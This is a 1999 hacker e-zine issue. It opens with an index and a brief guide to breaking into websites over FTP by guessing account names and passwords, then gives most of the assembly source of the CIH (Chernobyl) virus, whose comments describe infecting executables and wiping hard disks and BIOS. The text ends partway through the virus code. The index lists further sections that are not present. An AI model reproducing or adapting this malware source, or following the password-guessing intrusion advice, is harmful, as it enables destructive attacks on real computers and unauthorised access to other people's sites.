BadByte Issue 1 - August 1999

INDEX:
0............INDEX (You are here).
1............Hacking lame websites using FTP.
2............The full source code to the CIH virus (aka Chernobyl).
3............The Computer Misuse Act 1990 - UK (know your rights).
4............The full Pascal source to ZipCrack.
5............Full Word Basic source for NightShade.

Note: Please turn off WordWrap as the source code for NightShade will appear
      buggered.

BadByte staph:
~~~~~~~ ~~~~~~
Th0r       - Virii/Programming & Writer/Editor.
[SKREEM]   - Hacking/Programming & Writer.
BlazinWeed - Hacking consultant & Writer.
Shadey     - Researcher & Writer.

<CUT HERE>------<SHRED HERE>-----<SLICE HERE>-----<MINCE HERE>-----<DICE HERE>

1. Hacking lame websites using FTP.
~~ ~~~~~~~ ~~~~ ~~~~~~~~ ~~~~~ ~~~~

This is a basic guide to hacking FTP sites and may not work on every site
you come across.

Basically, you find out your target's website URL (address)
Once you have done this you can work out what the ftp address will be.

e.g. "http://www.hackme.com" would become "ftp://ftp.hackme.com"
     OR "http://hackme.com" would become "ftp://hackme.com"

Now, you will need to know a login or, if the site has a directory specified
try and use it.
e.g. For http://www.hackem.com/johnsmith, the login maybe "johnsmith"

Next you just have to guess the password. (Try using the login name!)

Note: This doesn't work for all sites. Some ISPs and Website Hosts may provide
      a seperate ftp address for accessing the site(s).

<CUT HERE>------<SHRED HERE>-----<SLICE HERE>-----<DICE HERE>

2. The CIH virus source code.
~~ ~~~ ~~~ ~~~~~ ~~~~~~ ~~~~~

; ****************************************************************************
; *                    The Virus Program Information                         *
; ****************************************************************************
; *                                                                          *
; *      Designer : CIH                  Source : TTIT of TATUNG in Taiwan   *
; *      Create Date : 04/26/1998      Now Version : 1.4                     *
; *     Modification Time : 05/31/1998                                       *
; *                                                                          *
; *      Turbo Assembler Version 4.0      : tasm /m cih                      *
; *      Turbo Link Version 3.01            : tlink /3 /t cih, cih.exe       *
; *                                                                          *
; *==========================================================================*
; *                     Modification History                                 *
; *==========================================================================*
; *      v1.0   1. Create the Virus Program.                                 *
; *             2. The Virus Modifies IDT to Get Ring0 Privilege.            *
; * 04/26/1998  3. Virus Code doesn't Reload into System.                    *
; *             4. Call IFSMgr_InstallFileSystemApiHook to Hook File System. *
; *             5. Modifies Entry Point of IFSMgr_InstallFileSystemApiHook.  *
; *             6. When System Opens Existing PE File, the File will be      *
; *                Infected, and the File doesn't be Reinfected.             *
; *             7. It is also Infected, even the File is Read-Only.          *
; *             8. When the File is Infected, the Modification Date and Time *
; *                of the File also don't be Changed.                        *
; *             9. When My Virus Uses IFSMgr_Ring0_FileIO, it will not Call  *
; *                Previous FileSystemApiHook, it will Call the Function     *
; *                that the IFS Manager Would Normally Call to Implement     *
; *                this Particular I/O Request.                              *
; *            10. The Virus Size is only 656 Bytes.                         *
; *==========================================================================*
; *      v1.1   1. Especially, the File that be Infected will not Increase   *
; *                    it's Size...   ^__^                                   *
; * 05/15/1998  2. Hook and Modify Structured Exception Handing.             *
; *                When Exception Error Occurs, Our OS System should be in   *
; *                Windows NT. So My Cute Virus will not Continue to Run,    *
; *                it will Jmup to Original Application to Run.              *
; *             3. Use Better Algorithm, Reduce Virus Code Size.             *
; *             4. The Virus "Basic" Size is only 796 Bytes.                 *
; *==========================================================================*
; *      v1.2   1. Kill All HardDisk, and BIOS... Super... Killer...         *
; *             2. Modify the Bug of v1.1                                    *
; * 05/21/1998  3. The Virus "Basic" Size is 1003 Bytes.                     *
; *==========================================================================*
; *      v1.3   1. Modify the Bug that WinZip Self-Extractor Occurs Error.   *
; *                So When Open WinZip Self-Extractor ==> Don't Infect it.   *
; * 05/24/1998  2. The Virus "Basic" Size is 1010 Bytes.                     *
; *==========================================================================*
; *      v1.4   1. Full Modify the Bug : WinZip Self-Extractor Occurs Error. *
; *             2. Change the Date of Killing Computers.                     *
; * 05/31/1998  3. Modify Virus Version Copyright.                           *
; *             4. The Virus "Basic" Size is 1019 Bytes.                     *
; ****************************************************************************

                .586P

; ****************************************************************************
; *             Original PE Executable File(Don't Modify this Section)       *
; ****************************************************************************

OriginalAppEXE  SEGMENT

FileHeader:
                db      04dh, 05ah, 090h, 000h, 003h, 000h, 000h, 000h
                db      004h, 000h, 000h, 000h, 0ffh, 0ffh, 000h, 000h
                db      0b8h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
                db      040h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
                db      000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
                db      000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
                db      000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
                db      000h, 000h, 000h, 000h, 080h, 000h, 000h, 000h
                db      00eh, 01fh, 0bah, 00eh, 000h, 0b4h, 009h, 0cdh
                db      021h, 0b8h, 001h, 04ch, 0cdh, 021h, 054h, 068h
                db      069h, 073h, 020h, 070h, 072h, 06fh, 067h, 072h
                db      061h, 06dh, 020h, 063h, 061h, 06eh, 06eh, 06fh
                db      074h, 020h, 062h, 065h, 020h, 072h, 075h, 06eh
                db      020h, 069h, 06eh, 020h, 044h, 04fh, 053h, 020h
                db      06dh, 06fh, 064h, 065h, 02eh, 00dh, 00dh, 00ah
                db      024h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
                db      050h, 045h, 000h, 000h, 04ch, 001h, 001h, 000h
                db      0f1h, 068h, 020h, 035h, 000h, 000h, 000h, 000h
                db      000h, 000h, 000h, 000h, 0e0h, 000h, 00fh, 001h
                db      00bh, 001h, 005h, 000h, 000h, 010h, 000h, 000h
                db      000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
                db      010h, 010h, 000h, 000h, 000h, 010h, 000h, 000h
                db      000h, 020h, 000h, 000h, 000h, 000h, 040h, 000h
                db      000h, 010h, 000h, 000h, 000h, 002h, 000h, 000h
                db      004h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
                db      004h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
                db      000h, 020h, 000h, 000h, 000h, 002h, 000h, 000h
                db      000h, 000h, 000h, 000h, 002h, 000h, 000h, 000h
                db      000h, 000h, 010h, 000h, 000h, 010h, 000h, 000h
                db      000h, 000h, 010h, 000h, 000h, 010h, 000h, 000h
                db      000h, 000h, 000h, 000h, 010h, 000h, 000h, 000h
                db      000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
                db      000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
                db      000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
                db      000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
                db      000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
                db      000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
                db      000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
                db      000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
                db      000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
                db      000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
                db      000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
                db      000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
                db      000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
                db      000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
                db      000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
                db      000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
                db      02eh, 074h, 065h, 078h, 074h, 000h, 000h, 000h
                db      000h, 010h, 000h, 000h, 000h, 010h, 000h, 000h
                db      000h, 010h, 000h, 000h, 000h, 002h, 000h, 000h
                db      000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
                db      000h, 000h, 000h, 000h, 020h, 000h, 000h, 060h
                db      000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
                db      000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
                db      000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
                db      000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
                db      000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
                db      000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
                db      000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
                db      000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
                db      000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
                db      000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
                db      000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
                db      000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
                db      0c3h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
            dd      00000000h, VirusSize

OriginalAppEXE  ENDS

; ****************************************************************************
; *                     My Virus Game                                        *
; ****************************************************************************

; *********************************************************
; *                    Constant Define                    *
; *********************************************************

TRUE                     =      1
FALSE                    =      0

DEBUG                    =      TRUE

MajorVirusVersion        =      1
MinorVirusVersion        =      4

VirusVersion             =      MajorVirusVersion*10h+MinorVirusVersion


IF      DEBUG

      FirstKillHardDiskNumber      =      81h
      HookExceptionNumber          =      05h

ELSE

      FirstKillHardDiskNumber      =      80h
      HookExceptionNumber          =      03h

ENDIF


FileNameBufferSize                 =      7fh

; *********************************************************
; *********************************************************

VirusGame               SEGMENT

                        ASSUME  CS:VirusGame, DS:VirusGame, SS:VirusGame
                        ASSUME  ES:VirusGame, FS:VirusGame, GS:VirusGame

; *********************************************************
; *             Ring3 Virus Game Initial Program          *
; *********************************************************

MyVirusStart:
                  push      ebp

; *************************************
; * Let's Modify Structured Exception *
; * Handing, Prevent Exception Error  *
; * Occurrence, Especially in NT.     *
; *************************************

                  lea       eax, [esp-04h*2]

                  xor       ebx, ebx
                  xchg      eax, fs:[ebx]

                  call      @0
@0:
                  pop       ebx

                  lea       ecx, StopToRunVirusCode-@0[ebx]
                  push      ecx

                  push      eax

; *************************************
; * Let's Modify                      *
; * IDT(Interrupt Descriptor Table)   *
; * to Get Ring0 Privilege...         *
; *************************************

                  push      eax             ;
                  sidt     [esp-02h]        ; Get IDT Base Address
                  pop       ebx             ;

                  add       ebx, HookExceptionNumber*08h+04h ; ZF = 0

                  cli

                  mov       ebp, [ebx]      ; Get Exception Base
                  mov       bp, [ebx-04h]   ; Entry Point

                  lea       esi, MyExceptionHook-@1[ecx]

                  push      esi

                  mov      [ebx-04h], si            ;
                  shr       esi, 16                  ; Modify Exception
                  mov      [ebx+02h], si            ; Entry Point Address

                  pop       esi

; *************************************
; * Generate Exception to Get Ring0   *
; *************************************

                  int       HookExceptionNumber      ; GenerateException
ReturnAddressOfEndException        =      $

; *************************************
; * Merge All Virus Code Section      *
; *************************************

                  push      esi
                  mov       esi, eax

LoopOfMergeAllVirusCodeSection:

                  mov       ecx, [eax-04h]

                  rep       movsb

                  sub       eax, 08h

                  mov       esi, [eax]

                  or        esi, esi
                  jz        QuitLoopOfMergeAllVirusCodeSection ; ZF = 1

                  jmp       LoopOfMergeAllVirusCodeSection

QuitLoopOfMergeAllVirusCodeSection:

                  pop       esi

; *************************************
; * Generate Exception Again          *
; *************************************

                  int       HookExceptionNumber      ; GenerateException Again

; *************************************
; * Let's Restore                     *
; * Structured Exception Handing      *
; *************************************

ReadyRestoreSE:
                  sti

                  xor       ebx, ebx

                  jmp       RestoreSE

; *************************************
; * When Exception Error Occurs,      *
; * Our OS System should be in NT.    *
; * So My Cute Virus will not         *
; * Continue to Run, it Jmups to      *
; * Original Application to Run.      *
; *************************************

StopToRunVirusCode:
@1        =      StopToRunVirusCode

                  xor      ebx, ebx
                  mov      eax, fs:[ebx]
                  mov      esp, [eax]

RestoreSE:
                  pop      dword ptr fs:[ebx]
                  pop      eax

; *************************************
; * Return Original App to Execute    *
; *************************************

                  pop      ebp

                        push    00401000h       ; Push Original
OriginalAddressOfEntryPoint      =      $-4      ; App Entry Point to Stack

                        ret     ; Return to Original App Entry Point

; *********************************************************
; *             Ring0 Virus Game Initial Program          *
; *********************************************************

MyExceptionHook:
@2        =      MyExceptionHook

                  jz      InstallMyFileSystemApiHook

; *************************************
; * Do My Virus Exist in System !?    *
; *************************************

                  mov      ecx, dr0
                  jecxz      AllocateSystemMemoryPage

                  add      dword ptr [esp], ReadyRestoreSE-ReturnAddressOfEndException

; *************************************
; * Return to Ring3 Initial Program   *
; *************************************

ExitRing0Init:
                  mov      [ebx-04h], bp      ;
                  shr      ebp, 16            ; Restore Exception
                  mov      [ebx+02h], bp      ;

                  iretd

; *************************************
; * Allocate SystemMemory Page to Use *
; *************************************

AllocateSystemMemoryPage:

                  mov      dr0, ebx        ; Set the Mark of My Virus Exist in System

                  push      00000000fh     ;
                  push      ecx            ;
                  push      0ffffffffh     ;
                  push      ecx            ;
                  push      ecx            ;
                  push      ecx            ;
                  push      000000001h     ;
                  push      000000002h     ;
                  int      20h             ; VMMCALL _PageAllocate
_PageAllocate  =      $          ;
                  dd      00010053h        ; Use EAX, ECX, EDX, and flags
                  add      esp, 08h*04h

                  xchg      edi, eax       ; EDI = SystemMemory Start Address

                  lea      eax, MyVirusStart-@2[esi]

                  iretd                    ; Return to Ring3 Initial Program

; *************************************
; * Install My File System Api Hook   *
; *************************************

InstallMyFileSystemApiHook:

                  lea       eax, FileSystemApiHook-@6[edi]

                  push      eax  ;
                  int       20h  ; VXDCALL IFSMgr_InstallFileSystemApiHook
IFSMgr_InstallFileSystemApiHook      =      $      ;
                  dd      00400067h      ; Use EAX, ECX, EDX, and flags

                  mov      dr0, eax      ; Save OldFileSystemApiHook Address

                  pop      eax           ; EAX = FileSystemApiHook Address

; Save Old IFSMgr_InstallFileSystemApiHook Entry Point
                  mov      ecx, IFSMgr_InstallFileSystemApiHook-@2[esi]
                  mov      edx, [ecx]
                  mov      OldInstallFileSystemApiHook-@3[eax], edx

; Modify IFSMgr_InstallFileSystemApiHook Entry Point
                  lea      eax, InstallFileSystemApiHook-@3[eax]
                  mov      [ecx], eax

                  cli

                  jmp      ExitRing0Init

; *********************************************************
; *             Code Size of Merge Virus Code Section     *
; *********************************************************

CodeSizeOfMergeVirusCodeSection  =      offset $

; *********************************************************
; *             IFSMgr_InstallFileSystemApiHook           *
; *********************************************************

InstallFileSystemApiHook:
                  push      ebx

                  call      @4      ;
@4:                                 ;
                  pop      ebx      ; mov ebx, offset FileSystemApiHook
                  add      ebx, FileSystemApiHook-@4      ;

                  push     ebx
                  int      20h  ; VXDCALL IFSMgr_RemoveFileSystemApiHook
IFSMgr_RemoveFileSystemApiHook      =      $
                  dd      00400068h      ; Use EAX, ECX, EDX, and flags
                  pop      eax

; Call Original IFSMgr_InstallFileSystemApiHook
; to Link Client FileSystemApiHook
                  push      dword ptr [esp+8]
                  call      OldInstallFileSystemApiHook-@3[ebx]
                  pop       ecx

                  push      eax

; Call Original IFSMgr_InstallFileSystemApiHook
; to Link My FileSystemApiHook
                  push      ebx
                  call      OldInstallFileSystemApiHook-@3[ebx]
                  pop       ecx

                  mov      dr0, eax      ; Adjust OldFileSystemApiHook Address

                  pop      eax

                  pop      ebx

                  ret

; *********************************************************
; *                  Static Data                       *
; *********************************************************

OldInstallFileSystemApiHook      dd      ?

; *********************************************************
; *             IFSMgr_FileSystemHook                     *
; *********************************************************

; *************************************
; * IFSMgr_FileSystemHook Entry Point *
; *************************************

FileSystemApiHook:
@3        =      FileSystemApiHook

                  pushad

                        call    @5       ;
@5:                                      ;
                        pop     esi      ; mov esi, offset VirusGameDataStartAddress
                        add     esi, VirusGameDataStartAddress-@5

; *************************************
; * Is OnBusy !?                      *
; *************************************

                  test      byte ptr (OnBusy-@6)[esi], 01h      ; if ( OnBusy )
                  jnz      pIFSFunc                             ; goto pIFSFunc

; *************************************
; * Is OpenFile !?                    *
; *************************************

; if ( NotOpenFile )
; goto prevhook
                  lea      ebx, [esp+20h+04h+04h]
                  cmp      dword ptr [ebx], 00000024h
                  jne      prevhook

; *************************************
; * Enable OnBusy                     *
; *************************************

                  inc      byte ptr (OnBusy-@6)[esi]      ; Enable OnBusy

; *************************************
; * Get FilePath's DriveNumber,       *
; * then Set the DriveName to         *
; * FileNameBuffer.                   *
; *************************************
; * Ex. If DriveNumber is 03h,        *
; *     DriveName is 'C:'.            *
; *************************************

; mov esi, offset FileNameBuffer
                  add      esi, FileNameBuffer-@6

                  push      esi

                  mov      al, [ebx+04h]
                  cmp      al, 0ffh
                  je      CallUniToBCSPath

                  add      al, 40h
                  mov      ah, ':'

                  mov      [esi], eax

                  inc      esi
                  inc      esi

; *************************************
; * UniToBCSPath                      *
; *************************************
; * This Service Converts             *
; * a Canonicalized Unicode Pathname  *
; * to a Normal Pathname in the       *
; * Specified BCS Character Set.      *
; *************************************

CallUniToBCSPath:
                  push      00000000h
                  push      FileNameBufferSize
                  mov       ebx, [ebx+10h]
                  mov       eax, [ebx+0ch]
                  add       eax, 04h
                  push      eax
                  push      esi
                  int       20h      ; VXDCall UniToBCSPath
UniToBCSPath  =      $
                  dd        00400041h
                  add       esp, 04h*04h

; *************************************
; * Is FileName '.EXE' !?             *
; *************************************

                  cmp      [esi+eax-04h], 'EXE.'
                  pop      esi
                  jne      DisableOnBusy

IF      DEBUG

; *************************************
; * Only for Debug                    *
; *************************************

; cmp [esi+eax-06h], 'FUCK'
                  cmp      [esi+eax-06h], 'KCUF'
                  jne      DisableOnBusy

ENDIF

; *************************************
; * Is Open Existing File !?          *
; *************************************

; if ( NotOpenExistingFile )
; goto DisableOnBusy
                  cmp      word ptr [ebx+18h], 01h
                  jne      DisableOnBusy

; *************************************
; * Get Attributes of the File        *
; *************************************

                  mov      ax, 4300h
                  int      20h      ; VXDCall IFSMgr_Ring0_FileIO
IFSMgr_Ring0_FileIO      =      $
                  dd      00400032h

                  jc      DisableOnBusy

                  push      ecx

; *************************************
; * Get IFSMgr_Ring0_FileIO Address   *
; *************************************

                  mov      edi, dword ptr (IFSMgr_Ring0_FileIO-@7)[esi]
                  mov      edi, [edi]

; *************************************
; * Is Read-Only File !?              *
; *************************************

                  test      cl, 01h
                  jz        OpenFile

; *************************************
; * Modify Read-Only File to Write    *
; *************************************

                  mov       ax, 4301h
                  xor       ecx, ecx
                  call      edi      ; VXDCall IFSMgr_Ring0_FileIO

; *************************************
; * Open File                         *
; *************************************

OpenFile:
                  xor       eax, eax
                  mov       ah, 0d5h
                  xor       ecx, ecx
                  xor       edx, edx
                  inc       edx
                  mov       ebx, edx
                  inc       ebx
                  call      edi           ; VXDCall IFSMgr_Ring0_FileIO

                  xchg      ebx, eax      ; mov ebx, FileHandle

; *************************************
; * Need to Restore                   *
; * Attributes of the File !?         *
; *************************************

                  pop       ecx

                  pushf

                  test      cl, 01h
                  jz        IsOpenFileOK

; *************************************
; * Restore Attributes of the File    *
; *************************************

                  mov       ax, 4301h
                  call      edi      ; VXDCall IFSMgr_Ring0_FileIO

; *************************************
; * Is Open File OK !?                *
; *************************************

IsOpenFileOK:
                  popf

                  jc        DisableOnBusy

; *************************************
; * Open File Already Succeed.   ^__^ *
; *************************************

                  push      esi      ; Push FileNameBuffer Address to Stack

                  pushf              ; Now CF = 0, Push Flag to Stack

                  add       esi, DataBuffer-@7 ; mov esi, offset DataBuffer

; ***************************
; * Get OffsetToNewHeader   *
; ***************************

                  xor       eax, eax
                  mov       ah, 0d6h

; For Doing Minimal VirusCode's Length,
; I Save EAX to EBP.
                  mov       ebp, eax

                  push      00000004h
                  pop       ecx
                  push      0000003ch
                  pop       edx
                  call      edi      ; VXDCall IFSMgr_Ring0_FileIO

                  mov       edx, [esi]

; ***************************
; * Get 'PE\0' Signature    *
; * of ImageFileHeader, and *
; * Infected Mark.          *
; ***************************

                  dec       edx

                  mov       eax, ebp
                  call      edi      ; VXDCall IFSMgr_Ring0_FileIO

; ***************************
; * Is PE !?                *
; ***************************
; * Is the File             *
; * Already Infected !?     *
; ***************************
; * WinZip Self-Extractor   *
; * doesn't Have Infected   *
; * Mark Because My Virus   *
; * doesn't Infect it.      *
; ***************************

                  cmp      dword ptr [esi], 00455000h ; 0h,"PE",0h ?
                  jne      CloseFile

; *************************************
; * The File is                   ^o^ *
; * PE(Portable Executable) indeed.   *
; *************************************
; * The File isn't also Infected.     *
; *************************************

; *************************************
; * Start to Infect the File          *
; *************************************
; * Registers Use Status Now :        *
; *                                   *
; * EAX = 04h                         *
; * EBX = File Handle                 *
; * ECX = 04h                         *
; * EDX = 'PE\0\0' Signature of       *
; *       ImageFileHeader Pointer's   *
; *        Former Byte.               *
; * ESI = DataBuffer Address ==> @8   *
; * EDI = IFSMgr_Ring0_FileIO Address *
; * EBP = D600h ==> Read Data in File *
; *************************************
; * Stack Dump :                      *
; *                                   *
; * ESP => -------------------------  *
; *        |       EFLAG(CF=0)     |  *
; *        -------------------------  *
; *        | FileNameBufferPointer |  *
; *        -------------------------  *
; *        |          EDI          |  *
; *        -------------------------  *
; *        |          ESI          |  *
; *        -------------------------  *
; *        |          EBP          |  *
; *        -------------------------  *
; *        |          ESP          |  *
; *        -------------------------  *
; *        |          EBX          |  *
; *        -------------------------  *
; *        |          EDX          |  *
; *        -------------------------  *
; *        |          ECX          |  *
; *        -------------------------  *
; *        |          EAX          |  *
; *        -------------------------  *
; *        |     Return Address    |  *
; *        -------------------------  *
; *************************************

                  push      ebx      ; Save File Handle

                  push      00h      ; Set VirusCodeSectionTableEndMark

; ***************************
; * Let's Set the           *
; * Virus' Infected Mark    *
; ***************************

                  push      01h      ; Size
                  push      edx      ; Pointer of File
                  push      edi      ; Address of Buffer

; ***************************
; * Save ESP Register       *
; ***************************

                  mov      dr1, esp

; ***************************
; * Let's Set the           *
; * NewAddressOfEntryPoint  *
; * ( Only First Set Size ) *
; ***************************

                  push      eax      ; Size

; ***************************
; * Let's Read              *
; * Image Header in File    *
; ***************************

                  mov      eax, ebp
                  mov      cl, SizeOfImageHeaderToRead
                  add      edx, 07h  ; Move EDX to NumberOfSections
                  call     edi       ; VXDCall IFSMgr_Ring0_FileIO

; ***************************
; * Let's Set the           *
; * NewAddressOfEntryPoint  *
; * ( Set Pointer of File,  *
; *   Address of Buffer   ) *
; ***************************

                  lea       eax, (AddressOfEntryPoint-@8)[edx]
                  push      eax      ; Pointer of File

                  lea       eax, (NewAddressOfEntryPoint-@8)[esi]
                  push      eax      ; Address of Buffer

; ***************************
; * Move EDX to the Start   *
; * of SectionTable in File *
; ***************************

                  movzx     eax, word ptr (SizeOfOptionalHeader-@8)[esi]
                  lea       edx, [eax+edx+12h]

; ***************************
; * Let's Get               *
; * Total Size of Sections  *
; ***************************

                  mov       al, SizeOfScetionTable

; I Assume NumberOfSections <= 0ffh
                  mov       cl, (NumberOfSections-@8)[esi]

                  mul       cl

; ***************************
; * Let's Set Section Table *
; ***************************

; Move ESI to the Start of SectionTable
                  lea      esi, (StartOfSectionTable-@8)[esi]

                  push      eax      ; Size
                  push      edx      ; Pointer of File
                  push      esi      ; Address of Buffer

; ***************************
; * The Code Size of Merge  *
; * Virus Code Section and  *
; * Total Size of Virus     *
; * Code Section Table Must *
; * be Small or Equal the   *
; * Unused Space Size of    *
; * Following Section Table *
; ***************************

                  inc       ecx
                  push      ecx      ; Save NumberOfSections+1

                  shl       ecx, 03h
                  push      ecx      ; Save TotalSizeOfVirusCodeSectionTable

                  add       ecx, eax
                  add       ecx, edx

                  sub       ecx, (SizeOfHeaders-@9)[esi]
                  not       ecx
                  inc       ecx

; Save My Virus First Section Code
; Size of Following Section Table...
; ( Not Include the Size of Virus Code Section Table )
                  push      ecx

                  xchg      ecx, eax      ; ECX = Size of Section Table

; Save Original Address of Entry Point
                  mov      eax, (AddressOfEntryPoint-@9)[esi]
                  add      eax, (ImageBase-@9)[esi]
                  mov      (OriginalAddressOfEntryPoint-@9)[esi], eax

                  cmp      word ptr [esp], small CodeSizeOfMergeVirusCodeSection
                  jl      OnlySetInfectedMark

; ***************************
; * Read All Section Tables *
; ***************************

                  mov      eax, ebp
                  call      edi      ; VXDCall IFSMgr_Ring0_FileIO

; ***************************
; * Full Modify the Bug :   *
; * WinZip Self-Extractor   *
; * Occurs Error...         *
; ***************************
; * So When User Opens      *
; * WinZip Self-Extractor,  *
; * Virus Doesn't Infect it.*
; ***************************
; * First, Virus Gets the   *
; * PointerToRawData in the *
; * Second Section Table,   *
; * Reads the Section Data, *
; * and Tests the String of *
; * 'WinZip(R)'......       *
; ***************************

                  xchg      eax, ebp

                  push      00000004h
                  pop       ecx

                  push      edx
                  mov       edx, (SizeOfScetionTable+PointerToRawData-@9)[esi]
                  add       edx, 12h

                  call      edi      ; VXDCall IFSMgr_Ring0_FileIO

                  cmp       dword ptr [esi], 'piZn' ; "nZip" ?
                  je        NotSetInfectedMark

                  pop      edx

; ***************************
; * Let's Set Total Virus   *
; * Code Section Table      *
; ***************************

; EBX = My Virus First Section Code
;      Size of Following Section Table
                  pop       ebx
                  pop       edi      ; EDI = TotalSizeOfVirusCodeSectionTable
                  pop       ecx      ; ECX = NumberOfSections+1

                  push      edi            ; Size

                  add       edx, ebp
                  push      edx            ; Pointer of File

                  add       ebp, esi
                  push      ebp            ; Address of Buffer

; ***************************
; * Set the First Virus     *
; * Code Section Size in    *
; * VirusCodeSectionTable   *
; ***************************

                  lea       eax, [ebp+edi-04h]
                  mov      [eax], ebx

; ***************************
; * Let's Set My Virus      *
; * First Section Code      *
; ***************************

                  push      ebx      ; Size

                  add       edx, edi
                  push      edx      ; Pointer of File

                  lea       edi, (MyVirusStart-@9)[esi]
                  push      edi      ; Address of Buffer

; ***************************
; * Let's Modify the        *
; * AddressOfEntryPoint to  *
; * My Virus Entry Point    *
; ***************************

                  mov      (NewAddressOfEntryPoint-@9)[esi], edx

; ***************************
; * Setup Initial Data      *
; ***************************

                  lea       edx, [esi-SizeOfScetionTable]
                  mov       ebp, offset VirusSize

                  jmp       StartToWriteCodeToSections

; ***************************
; * Write Code to Sections  *
; ***************************

LoopOfWriteCodeToSections:

                  add       edx, SizeOfScetionTable

                  mov       ebx, (SizeOfRawData-@9)[edx]
                  sub       ebx, (VirtualSize-@9)[edx]
                  jbe       EndOfWriteCodeToSections

                  push      ebx      ; Size

                  sub       eax, 08h
                  mov      [eax], ebx

                  mov       ebx, (PointerToRawData-@9)[edx]
                  add       ebx, (VirtualSize-@9)[edx]
                  push      ebx      ; Pointer of File

                  push      edi      ; Address of Buffer

                  mov       ebx, (VirtualSize-@9)[edx]
                  add       ebx, (VirtualAddress-@9)[edx]
                  add       ebx, (ImageBase-@9)[esi]
                  mov      [eax+4], ebx

                  mov       ebx, [eax]
                  add      (VirtualSize-@9)[edx], ebx

; Section contains initialized data ==> 00000040h
; Section can be Read.    ==> 40000000h
                  or      (Characteristics-@9)[edx], 40000040h

StartToWriteCodeToSections:

                  sub      ebp, ebx
                  jbe      SetVirusCodeSectionTableEndMark

                  add      edi, ebx      ; Move Address of Buffer

EndOfWriteCodeToSections:

                  loop      LoopOfWriteCodeToSections

; ***************************
; * Only Set Infected Mark  *
; ***************************

OnlySetInfectedMark:
                  mov      esp, dr1

                  jmp      WriteVirusCodeToFile

; ***************************
; * Not Set Infected Mark   *
; ***************************

NotSetInfectedMark:
                  add      esp, 3ch

                  jmp      CloseFile

; ***************************
; * Set Virus Code          *
; * Section Table End Mark  *
; ***************************

SetVirusCodeSectionTableEndMark:

; Adjust Size of Virus Section Code to Correct Value
                  add      [eax], ebp
                  add      [esp+08h], ebp

; Set End Mark
                  xor      ebx, ebx
                  mov      [eax-04h], ebx

; ***************************
; * When VirusGame Calls    *
; * VxDCall, VMM Modifies   *
; * the 'int 20h' and the   *
; * 'Service Identifier'    *
; * to 'Call [XXXXXXXX]'.   *
; ***************************
; * Before Writing My Virus *
; * to File, I Must Restore *
; * them First.     ^__^    *
; ***************************

                  lea       eax, (LastVxDCallAddress-2-@9)[esi]

                  mov       cl, VxDCallTableSize

LoopOfRestoreVxDCallID:
                  mov       word ptr [eax], 20cdh

                  mov       edx, (VxDCallIDTable+(ecx-1)*04h-@9)[esi]
                  mov      [eax+2], edx

                  movzx     edx, byte ptr (VxDCallAddressTable+ecx-1-@9)[esi]
                  sub       eax, edx

                  loop      LoopOfRestoreVxDCallID

; ***************************
; * Let's Write             *
; * Virus Code to the File  *
; ***************************

WriteVirusCodeToFile:
                  mov       eax, dr1
                  mov       ebx, [eax+10h]
                  mov       edi, [eax]

LoopOfWriteVirusCodeToFile:

                  pop       ecx
                  jecxz     SetFileModificationMark

                  mov       esi, ecx
                  mov       eax, 0d601h
                  pop       edx
                  pop       ecx

                  call      edi      ; VXDCall IFSMgr_Ring0_FileIO

                  jmp       LoopOfWriteVirusCodeToFile

; ***************************
; * Let's Set CF = 1 ==>    *
; * Need to Restore File    *
; * Modification Time       *
; ***************************

SetFileModificationMark:
                  pop       ebx
                  pop       eax

                  stc            ; Enable CF(Carry Flag)
                  pushf

; *************************************
; * Close File                        *
; *************************************

CloseFile:
                  xor       eax, eax
                  mov       ah, 0d7h
                  call      edi      ; VXDCall IFSMgr_Ring0_FileIO

; *************************************
; * Need to Restore File Modification *
; * Time !?                           *
; *************************************

                  popf
                  pop       esi
                  jnc       IsKillComputer

; *************************************
; * Restore File Modification Time    *
; *************************************

                  mov       ebx, edi

                  mov       ax, 4303h
                  mov       ecx, (FileModificationTime-@7)[esi]
                  mov       edi, (FileModificationTime+2-@7)[esi]
                  call      ebx      ; VXDCall IFSMgr_Ring0_FileIO

; *************************************
; * Disable OnBusy                    *
; *************************************

DisableOnBusy:
                  dec       byte ptr (OnBusy-@7)[esi]      ; Disable OnBusy

; *************************************
; * Call Previous FileSystemApiHook   *
; *************************************

prevhook:
                  popad

                  mov       eax, dr0      ;
                  jmp      [eax]          ; Jump to prevhook

; *************************************
; * Call the Function that the IFS    *
; * Manager Would Normally Call to    *
; * Implement this Particular I/O     *
; * Request.                          *
; *************************************

pIFSFunc:
                  mov       ebx, esp
